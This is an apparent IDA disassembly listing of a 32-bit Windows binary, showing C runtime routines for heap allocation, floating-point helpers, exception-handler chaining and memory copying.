loc_417C03:				; CODE XREF: sub_417BC7+37j
		cmp	esi, dword_43B7E4
		ja	short loc_417C2A
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41BB80
		test	eax, eax
		pop	ecx
		jnz	short loc_417C39
		jmp	short loc_417C2A
; ---------------------------------------------------------------------------


loc_417C1D:				; CODE XREF: sub_417BC7+15j
					; sub_417BC7+20j ...
		test	esi, esi
		jnz	short loc_417C24
		push	1
		pop	esi


loc_417C24:				; CODE XREF: sub_417BC7+58j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_417C2A:				; CODE XREF: sub_417BC7+42j
					; sub_417BC7+54j
		push	esi
		push	0
		push	dword_48B684
		nop
		call	near ptr 2710000h


loc_417C39:				; CODE XREF: sub_417BC7+52j
		pop	esi
		retn
sub_417BC7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417C3B	proc near		; CODE XREF: sub_402DD7+10Ep
					; sub_402DD7+116p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_417CA1
		mov	eax, dword_48B688
		cmp	eax, 3
		jnz	short loc_417C67
		push	esi
		call	sub_41AD89
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_417C93
		push	eax
		call	sub_41ADB4
		pop	ecx
		pop	ecx
		jmp	short loc_417CA1
; ---------------------------------------------------------------------------


loc_417C67:				; CODE XREF: sub_417C3B+14j
		cmp	eax, 2
		jnz	short loc_417C92
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_41BAE4
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_417C92
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_41BB3B
		add	esp, 0Ch
		jmp	short loc_417CA1
; ---------------------------------------------------------------------------


loc_417C92:				; CODE XREF: sub_417C3B+2Fj
					; sub_417C3B+44j
		push	esi


loc_417C93:				; CODE XREF: sub_417C3B+20j
		push	0
		push	dword_48B684
		nop
		call	near ptr 2700000h


loc_417CA1:				; CODE XREF: sub_417C3B+Aj
					; sub_417C3B+2Aj ...
		pop	esi
		leave
		retn
sub_417C3B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_417CA4(double)

sub_417CA4	proc near		; CODE XREF: sub_403FE6+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_439560
		call	sub_41C77D
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_417D2A
		call	sub_41C645
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_417D0D
		cmp	eax, 2
		jle	short loc_417CFF
		cmp	eax, 3
		jnz	short loc_417D0D
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_41BF55
		add	esp, 10h
		jmp	short loc_417D6F
; ---------------------------------------------------------------------------


loc_417CFF:				; CODE XREF: sub_417CA4+3Fj
		push	esi
		push	ebx
		call	sub_41C77D
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_417D6F
; ---------------------------------------------------------------------------


loc_417D0D:				; CODE XREF: sub_417CA4+3Aj
					; sub_417CA4+44j
		fld	[ebp+arg_0]
		fadd	dbl_4246A8
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_417D67
; ---------------------------------------------------------------------------


loc_417D2A:				; CODE XREF: sub_417CA4+2Fj
		call	sub_41C60A
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_417D4D


loc_417D3F:				; CODE XREF: sub_417CA4+ACj
		push	esi
		push	ebx
		call	sub_41C77D
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_417D6F
; ---------------------------------------------------------------------------


loc_417D4D:				; CODE XREF: sub_417CA4+99j
		test	bl, 20h
		jnz	short loc_417D3F
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int


loc_417D67:				; CODE XREF: sub_417CA4+84j
		call	sub_41BFA8
		add	esp, 1Ch


loc_417D6F:				; CODE XREF: sub_417CA4+59j
					; sub_417CA4+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_417CA4	endp


; =============== S U B	R O U T	I N E =======================================



sub_417D73	proc near		; CODE XREF: ___:00419AC1p
					; DATA XREF: ___:off_43956Co
		call	sub_417D8B
		call	sub_41C846
		mov	dword_489FF4, eax
		call	sub_41C7F6
		fnclex
		retn
sub_417D73	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_417D8B	proc near		; CODE XREF: sub_417D73p
		mov	eax, offset sub_41CC34
		mov	off_43B904, offset sub_41C8C9
		mov	off_43B900, eax
		mov	off_43B908, offset sub_41C92F
		mov	off_43B90C, offset sub_41C86F
		mov	off_43B910, offset sub_41C917
		mov	off_43B914, eax
		retn
sub_417D8B	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417DC4	proc near		; CODE XREF: sub_403FE6+1Bp
					; sub_403FE6+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_417DC4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_417DEB(double)

sub_417DEB	proc near		; CODE XREF: sub_404032+82p
					; ___:00404CF0p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_439578
		call	sub_41C77D
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_417E71
		call	sub_41C645
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_417E54
		cmp	eax, 2
		jle	short loc_417E46
		cmp	eax, 3
		jnz	short loc_417E54
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_41BF55
		add	esp, 10h
		jmp	short loc_417EB6
; ---------------------------------------------------------------------------


loc_417E46:				; CODE XREF: sub_417DEB+3Fj
		push	esi
		push	ebx
		call	sub_41C77D
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_417EB6
; ---------------------------------------------------------------------------


loc_417E54:				; CODE XREF: sub_417DEB+3Aj
					; sub_417DEB+44j
		fld	[ebp+arg_0]
		fadd	dbl_4246A8
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_417EAE
; ---------------------------------------------------------------------------


loc_417E71:				; CODE XREF: sub_417DEB+2Fj
		call	sub_41C60A
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_417E94


loc_417E86:				; CODE XREF: sub_417DEB+ACj
		push	esi
		push	ebx
		call	sub_41C77D
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_417EB6
; ---------------------------------------------------------------------------


loc_417E94:				; CODE XREF: sub_417DEB+99j
		test	bl, 20h
		jnz	short loc_417E86
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int


loc_417EAE:				; CODE XREF: sub_417DEB+84j
		call	sub_41BFA8
		add	esp, 1Ch


loc_417EB6:				; CODE XREF: sub_417DEB+59j
					; sub_417DEB+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_417DEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417EBA	proc near		; CODE XREF: ___:0041D116p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_417EBA	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_417EEE	proc near		; CODE XREF: sub_41D256+199p
					; sub_41D41A+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_417EEE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_417EF5	proc near		; CODE XREF: sub_41D256+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_417EF5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_417EFC	proc near		; CODE XREF: sub_4180AE+5Cp
					; sub_41D0A5:loc_41D0D6p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_417F24
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_422A4C
sub_417EFC	endp

; ---------------------------------------------------------------------------


loc_417F24:				; DATA XREF: sub_417EFC+11o
		mov	eax, [ebp+0Ch]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+0Ch]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp-8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; ---------------------------------------------------------------------------


loc_417F4B:				; CODE XREF: ___:004230ECj
					; ___:00423109j ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_41CCAA
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417F81	proc near		; CODE XREF: sub_41D120+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_417FD5
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_41D4B0
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_417F81	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417FD5	proc near		; DATA XREF: sub_417F81+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_41CCAA
		add	esp, 20h
		pop	ebp
		retn
sub_417FD5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417FFA	proc near		; CODE XREF: sub_41CEEC+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_4180AE
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_418080
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_48A098
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0


loc_418080:				; DATA XREF: sub_417FFA+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_41809D
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_4180A6
; ---------------------------------------------------------------------------


loc_41809D:				; CODE XREF: sub_417FFA+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_4180A6:				; CODE XREF: sub_417FFA+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417FFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4180AE	proc near		; DATA XREF: sub_417FFA+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_4180D1
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_41811E
; ---------------------------------------------------------------------------


loc_4180D1:				; CODE XREF: sub_4180AE+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_41CCAA
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_41810F
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_417EFC
; ---------------------------------------------------------------------------


loc_41810F:				; CODE XREF: sub_4180AE+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax


loc_41811E:				; CODE XREF: sub_4180AE+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4180AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418123	proc near		; CODE XREF: sub_41CD45+C6p
					; sub_41CEEC+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_41817A


loc_418141:				; CODE XREF: sub_418123+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41814B
		call	sub_41D552


loc_41814B:				; CODE XREF: sub_418123+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_418160
		cmp	ecx, [eax+8]
		jle	short loc_418165


loc_418160:				; CODE XREF: sub_418123+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_418171


loc_418165:				; CODE XREF: sub_418123+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi


loc_418171:				; CODE XREF: sub_418123+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_418141
		mov	eax, [ebp+var_4]


loc_41817A:				; CODE XREF: sub_418123+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_41818E
		cmp	esi, eax
		jbe	short loc_418193


loc_41818E:				; CODE XREF: sub_418123+65j
		call	sub_41D552


loc_418193:				; CODE XREF: sub_418123+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_418123	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4181A0	proc near		; CODE XREF: sub_41F774+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset sub_4181B8
		push	[ebp+arg_0]
		call	sub_422A4C
sub_4181A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4181B8	proc near		; DATA XREF: sub_4181A0+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4181B8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4181C0	proc near		; DATA XREF: sub_4181E2+Ao
					; sub_41824A+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_4181E1
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_4181E1:				; CODE XREF: sub_4181C0+10j
		retn
sub_4181C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4181E2	proc near		; CODE XREF: sub_41D1C6+Dp
					; sub_41F774+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_4181C0
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_4181FF:				; CODE XREF: sub_4181E2:loc_41823Aj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41823C
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_41823C
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_41823A
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_418276
		call	dword ptr [ebx+esi*4+8]


loc_41823A:				; CODE XREF: sub_4181E2+44j
		jmp	short loc_4181FF
; ---------------------------------------------------------------------------


loc_41823C:				; CODE XREF: sub_4181E2+2Aj
					; sub_4181E2+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4181E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41824A	proc near		; CODE XREF: sub_41D1E6+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_4181C0
		jnz	short locret_41826C
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_41826C
		mov	eax, 1

locret_41826C:				; CODE XREF: sub_41824A+10j
					; sub_41824A+1Bj
		retn
sub_41824A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41826D	proc near		; CODE XREF: sub_41D4B0+1Ep
					; sub_41D4B0+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43957C
		jmp	short loc_418280
sub_41826D	endp


; =============== S U B	R O U T	I N E =======================================



sub_418276	proc near		; CODE XREF: sub_4181E2+4Fp
					; sub_41F774+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43957C
		mov	ecx, [ebp+8]


loc_418280:				; CODE XREF: sub_41826D+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_418276	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418290	proc near		; CODE XREF: sub_404032+5p
					; sub_4041D4+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_418290	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4182AF	proc near		; CODE XREF: sub_404667+26p
					; ___:004227E2p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_417C3B
		pop	ecx
		retn
sub_4182AF	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4182C0	proc near		; CODE XREF: sub_4046D8+3Ap
					; sub_41ADB4+2EFp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_4182E0
		cmp	edi, eax
		jb	loc_418458


loc_4182E0:				; CODE XREF: sub_4182C0+16j
		test	edi, 3
		jnz	short loc_4182FC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41831C
		rep movsd
		jmp	off_418408[edx*4]
; ---------------------------------------------------------------------------


loc_4182FC:				; CODE XREF: sub_4182C0+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_418314
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41831C+4[eax*4]
; ---------------------------------------------------------------------------


loc_418314:				; CODE XREF: sub_4182C0+46j
		jmp	dword ptr loc_418418[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41831C:				; CODE XREF: sub_4182C0+31j
					; sub_4182C0+8Ej ...
		jmp	off_41839C[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41832C+4
		dd offset loc_41835C
; ---------------------------------------------------------------------------


loc_41832C:				; DATA XREF: sub_4182C0+64o
		add	byte ptr [ebx-2EDCFFBFh], 8Ah
		push	es
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41831C
		rep movsd
		jmp	off_418408[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41835C:				; DATA XREF: sub_4182C0+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41831C
		rep movsd
		jmp	off_418408[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41831C
		rep movsd
		jmp	off_418408[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41839C	dd offset loc_4183FF	; DATA XREF: sub_4182C0:loc_41831Cr
		dd offset loc_4183EC
		dd offset loc_4183E4
		dd offset loc_4183DC
		dd offset loc_4183D4
		dd offset loc_4183CC
		dd offset loc_4183C4
		dd offset loc_4183BC
; ---------------------------------------------------------------------------


loc_4183BC:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_4183C4:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_4183CC:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_4183D4:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_4183DC:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_4183E4:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_4183EC:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_4183FF:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0:off_41839Co
		jmp	off_418408[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_418408	dd offset loc_418418	; DATA XREF: sub_4182C0+35r
					; sub_4182C0+92r ...
		dd offset loc_418420
		dd offset loc_41842C
		dd offset loc_418440
; ---------------------------------------------------------------------------


loc_418418:				; CODE XREF: sub_4182C0+35j
					; sub_4182C0+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


